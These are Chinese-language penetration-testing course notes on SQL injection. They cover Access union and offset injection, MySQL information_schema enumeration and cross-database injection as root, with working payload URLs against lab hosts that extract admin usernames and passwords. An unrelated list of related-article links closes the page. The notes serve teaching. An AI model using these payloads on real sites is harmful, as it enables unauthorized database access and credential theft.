小迪安全24WEB 攻防-通用漏洞SQL 注入MYSQL 跨库ACCESS 偏移

#知识点:

1、脚本代码与数据库前置知识

2Access 数据库注入-简易&偏移

3MYSQL 数据库注入-简易&权限跨库

#前置知识:

-SQL 注入漏洞产生原理分析

-SQL 注入漏洞危害利用分析

-脚本代码与数据库操作流程

-数据库名,表名,列名,数据

-数据库类型,数据库用户,用户权限

SQL:数据的操作——SQL注入;产生在数据库上的注入

SQL注入:传参id变量,通过$sql变量来进行指定的sql数据库查询,从而执行恶意的SQL语句,实现查询其他数据内容(敏感信息)

危害:

数据库中的操作能被其利用和破坏——增删改查——需符合SQL语句的逻辑格式

产生原理:脚本代码和数据库的相关操作

搭建一个网站

漏洞的产生:特定函数和可控变量

最直接的一种通过url是否存在参数:get

  存在一个参数和多个参数(对每一个参数进行测试)

通过获取网络数据包:Post

注入:

测试注入点:

1.猜测数据库类型

2.根据类型选择思路

ACCESS:——独立存在

数据库名

       表名

         列名

           数据

对get页面进行白盒分析

根据对应的url找到对应的文件位置,查看源码

得知用的是一个product的表

那么这时,我们需要查admin的表,用联合查询

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin

注:这里的联合查询是有限制的,就是union前后查询的数据必须保持同列

得知3和15作为网页的回显位,因此3和15替换为对应的列名(字典猜解)

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin

如果表名知道,但列名不知道——偏移注入:

**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。

**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。

判断表内存在的字段个数:

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,*%20from%20admin——错误

直到

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*%20from%20admin——正确

说明了admin表下有6个字段

每做一次偏移,就意味着做了一整列,所以需要减6

一级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

二级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join a)

Mysql:统一管理

最高数据用户=root用户

数据库名A=网站A——》数据库用户C

       表名

         列名

           数据

数据库名B=网站B——》数据库用户C

数据库名C=网站C——》数据库用户C

攻击思路:

  1. 非root注入攻击:常规类的猜解
  2. Root用户注入攻击:文件读写操作,跨库查询注入...

判断root和非root:

黑盒:采用user()获取当前用户权限

白盒:看代码,看连接用户,配置文件中

Mysql5.0以上的版本:自带一个information_schema(存储数据库下的数据库名、列名、表名等)

获取相关数据:

  1. 数据库版本:查看是否支持使用information_shcema查询——version()
  2. 数据库用户:查看用户是否是Root类型注入攻击——user()
  3. 当前操作系统:是否支持大小写或文件路径——@@version_compile_os
  4. 数据库名字:为后期猜解指定表名——databases()

一、猜测数据

获取 syguestbook 数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema='syguestbook'

获取表名 sy_adminuser 的列名信息:UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table_name='sy_adminuser' and table_schema='syguestbook'

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

  • 跨库注入

实现当前网站跨库查询其他网站——原理:因为是root用户会管理到所有的网站的数据库

获取当前 mysql 下的所有数据库名

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名 xhcms 下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema='xhcms'

获取数据库名 xhcms 下的表 manage 下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/366547.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

D3842——三极管驱动,专为脱线和Dc-Dc开关电源应用设计的保护电路芯片,具有 DIP8、 SOP8两种封装形式

B3842/43/44是专为脱线和Dc-Dc开关电源应用设计的恒频电流型Pwd控制器内部包含温度补偿精密基准、供精密占空比调节用的可调振荡器、高增益混放大器、电流传感比较器和适合作功率MOST驱动用的大电流推挽输出颇以及单周期徊滞式限流欠压锁定、死区可调、单脉冲计数拴锁等保护电路…

MySQL原理(三)锁定机制(2)表锁行锁与页锁

前面提到,mysql锁按照操作颗粒分类,一般认为有表级锁、行级锁、页面锁三种。其实还有一种特殊的全局锁。 锁场景问题全局锁全库逻辑备份加了全局锁之后,整个数据库都是【只读状态】,如果数据库里有很多数据,备份就会花…

基于springboot校园二手书交易管理系统源码和论文

在Internet高速发展的今天,我们生活的各个领域都涉及到计算机的应用,其中包括乐校园二手书交易管理系统的网络应用,在外国二手书交易管理系统已经是很普遍的方式,不过国内的管理系统可能还处于起步阶段。乐校园二手书交易管理系统…

Python 生成图片验证码

图片验证码(CAPTCHA)是一种区分用户是计算机还是人的公共全自动程序。这种验证码通常以图片的形式出现,其中包含一些扭曲的字符或对象,用户需要识别这些字符或对象并输入正确的答案以通过验证。 通常情况下,图片验证码…

k8s中调整Pod数量限制的方法

一、介绍 Kubernetes节点每个默认允许最多创建110个pod,有时可能由于主机配置扩容的问题,从而需要修改节点pod运行数量的限制。 即:需要调整Node节点的最大可运行Pod数量。 一般来说,只需要在kubelet启动命令中增加–max-pods参数…

伯克利DeepMind联合研究,RaLMSpec让检索增强LLM速度提升2-7倍!

引言:知识密集型NLP任务中的挑战与RaLM的潜力 在知识密集型自然语言处理(NLP)任务中,传统的大语言模型面临着将海量知识编码进全参数化模型的巨大挑战。这不仅在训练和部署阶段需要大量的努力,而且在模型需要适应新数…

五款好用的在线去水印工具

我们都知道今年是AI大爆发的一年。在日常生活中,你是否经常在拍照时遇到照片中出现一些不必要的路人或其他元素的情况?通常,我们会使用PS软件或其他APP来处理这些问题。但是,对于一些不熟悉PS的朋友来说,这可能会是一种…

缓存击穿,商详页进不去了!!!

故事 对于小猫来讲,最近的一段日子是不好过的,纵使听着再有节拍的音乐,也换不起他对生活的热情。由于上一次“幂等事件”躺枪,他已经有几天没有休息好了。他感觉人生到了低谷。 当接手这个商城项目之后,他感觉他一直没…

嵌入式中C 语言中的三块技术难点

C 语言在嵌入式学习中是必备的知识,甚至大部分操作系统都要围绕 C 语言进行,而其中有三块技术难点,几乎是公认级别的“难啃的硬骨头”。 今天就来带你将这三块硬骨头细细拆解开来,一定让你看明白了。 0x01 指针 指针是公认最难理…

纷享销客渠道伙伴答谢会苏皖站:共谋高质量增长,擘画合作新篇章

2024年1月31日,纷享销客在南京成功举办了“凝心聚力 勇立潮头”——2024纷享销客渠道伙伴答谢会暨业务启动会|苏皖站。活动邀请了苏皖地区10余家核心渠道伙伴的代表,其中30余位投资人、创始人、总经理和合伙人亲临现场,共同探讨渠道伙伴的共赢…

数据处理Job思路总结

对工作中遇到的数据处理Job做了一些梳理,这里试图总结一种通用的Job开发思路。 1. Job的构成 Job 的核心元素包含: 任务、数据、接口、结果。 1.1 任务 数据处理任务。有些业务场景下,Job与任务是绑定的,执行一次Job就对应一个任…

光耦合器的结构与原理解析

光耦合器是一种重要的电光转换器件,广泛应用于电子设备、通信系统以及工业控制等领域。本文将深入分析光耦合器的结构与原理,旨在为读者提供清晰而全面的了解。 光耦合器作为一种关键的电子元件,扮演着信号隔离和传输的重要角色。它的设计结构…

【GitHub项目推荐--开箱即用的直播聊天系统,高颜值,支持二次开发】【转载】

Owncast Owncast 是一个免费开源的实时视频和网络聊天服务器,可与现有流行的广播软件一起使用。 github源代码: https://github.com/owncast/owncast 国内镜像(中文) http://www.gitpp.com/samgoat/owncast-cn 项目介绍 Owncast 是一个开源的、可…

Pycharm安装插件

经常用Pycharm写代码的话,时不时的就会接触到一些好用的插件,如何安装插件呢?经常使用的是两种方式,分别是在线安装和离线安装。 在线安装 在线安装比较简单,打开Pycharm,在左上角【文件】->【设置】-…

Portainer访问远程Docker (TLS加密)

前言: docker的2375端口,出于安全性考虑即(Docker Remote API未授权访问漏洞),是不开放的,如果想要管理远程docker,可以使用TLS机制来进行访问,这里以Portainer访问连接为例 文章参考:https://b…

实习|基于SSM的实习管理系统设计与实现(源码+数据库+文档)

实习管理系统目录 目录 基于SSM的实习管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、管理员功能介绍 (1)管理员登录 (2)实训方向管理 (3)公告信息管理 (4&#xff0…

笔记本键盘卸载或自动跳出字符故障或按键无效修复办法

首先,在Windows 10操作系统中,您可以在笔记本电脑桌面上找到"计算机"图标,并使用鼠标右键点击它。然后选择"属性"选项。 打开系统属性后,您会看到右上角有一个"设备管理器"选项。请点击它来打开设…

深掘开源安全需求,破解开源治理难题

当下,中国金融科技行业在数字支付、数字信贷、金融风控等领域取得了很多创新成果,大幅提升了金融数字化和智能化水平,已经在金融科技的全球竞争中走在前列。 在此进程中,开源技术发挥了不可或缺的重要作用,根据我国金…

第三百零二回

文章目录 1. 概念介绍2. 实现方法2.1 使用Steam实现2.2 使用Timer实现 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何实现每隔一段时间执行某项目任务"相关的内容,本章回中将介绍如何实现倒计时功能.闲话休提,让我们一起Talk Flutter吧…

ELK集群搭建(基础教程)

ELK集群搭建(基础教程) 目录: 机器准备 集群内各台机器安装Elasticsearch 安装部署Kafka(注:每个节点都配置,注意ip不同) 安装logstash工具 安装filebeat ELK收集Nginx的json日志 ELK收集Nginx正常日志和错误日…